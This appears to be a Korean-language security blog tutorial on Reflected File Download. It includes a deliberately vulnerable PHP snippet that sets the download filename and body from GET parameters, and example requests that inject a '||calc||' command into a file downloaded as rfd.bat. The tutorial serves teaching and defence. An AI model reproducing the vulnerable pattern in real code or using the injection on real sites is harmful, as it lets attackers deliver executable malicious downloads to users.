본문 바로가기
Hack/Web

Reflected File Download

by Becoming a Hacker 2020. 9. 22.
반응형

개요

사용자의 입력 데이터가 다운로드 되는 파일에 영향을 줄 경우, 이를 이용하여 정상적인 파일을 악성 파일로 변경하여 다운로드 하게 할 수 있습니다.

 

해당 취약점이 발생하기 위해서는 3가지의 조건이 필요합니다.

 

1. 파일 다운로드

Content-Disposition 헤더가 attachment로 구성되면 응답 데이터를 첨부파일로 다운로드 받을 수 있습니다.

 

2. 실행 가능한 확장자 및 파일 명 변경 필요

파일을 실행하는 클라이언트 측에서 실행 가능한 확장자로 다운로드 받을 수 있어야 합니다.

 

3. 사용자 입력 값 응답 데이터 반영

입력 값이 응답 데이터에 반영될 때 시스템 명령어를 통해 악성 코드를 생성할 수 있습니다.

 

Windows Command의 경우

"", "" 모두 문자열을 닫은 것으로 인식한다.

A || B 의 경우 A 명령어가 실행되지 않았을 시에만 B 명령어를 실행한다.


분석

취약한 PoC 코드 (PHP)

<?php
header("Content-Disposition: attachment; filename=$_GET[name]");

$data = ['result' => $_GET['idx']];
echo json_encode($data);
?>

 

PoC 코드를 보면 GET 파라메터를 통하여 다운로드 받는 파일 확장자와 데이터 모두 조작할 수 있는 상태입니다.

 

Reqeust

GET /rfd.php?idx=Minseok"&name=1.html HTTP/1.1
Host: 192.168.123.171
~~~

 

Response

HTTP/1.1 200 OK
~~~
Content-Disposition: attachment; filename=1.html
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

{"result":"Minseok\""}

 

Windows의 경우 "" 와 "\" 모두 문자열을 닫은 것으로 인식하기 때문에, 이를 이용하여 악성 코드가 실행되게 할 수 있습니다.

 

Request

GET /rfd.php?idx=Minseok"||calc||&name=rfd.bat HTTP/1.1
Host: 192.168.123.171
~~~

 

Response

HTTP/1.1 200 OK
~~~
Content-Disposition: attachment; filename=rfd.bat
Content-Length: 22
Connection: close
Content-Type: text/html; charset=UTF-8

{"result":"Minseok\"||calc||"}

 

응답 데이터는 rfd.bat 파일로 다운로드 되며, 총 3가지의 시스템 명령어로 나눠지게 됩니다.

{"result":"Minseok\"||calc||"}
=> {"result":"Minseok\" (False)
=> calc (True)
=> "} (calc가 참이기 때문에 무시됨)

 

이 중 2번 째 명령어인 calc가 참으로써 실행되게 됩니다.


Reference

https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf

https://m.blog.naver.com/PostView.nhn?blogId=chogar&logNo=220177689568&proxyReferer=https:%2F%2Fwww.google.com%2F

https://www.hahwul.com/2016/06/web-hacking-reflected-file-downloadrfd.html

 

댓글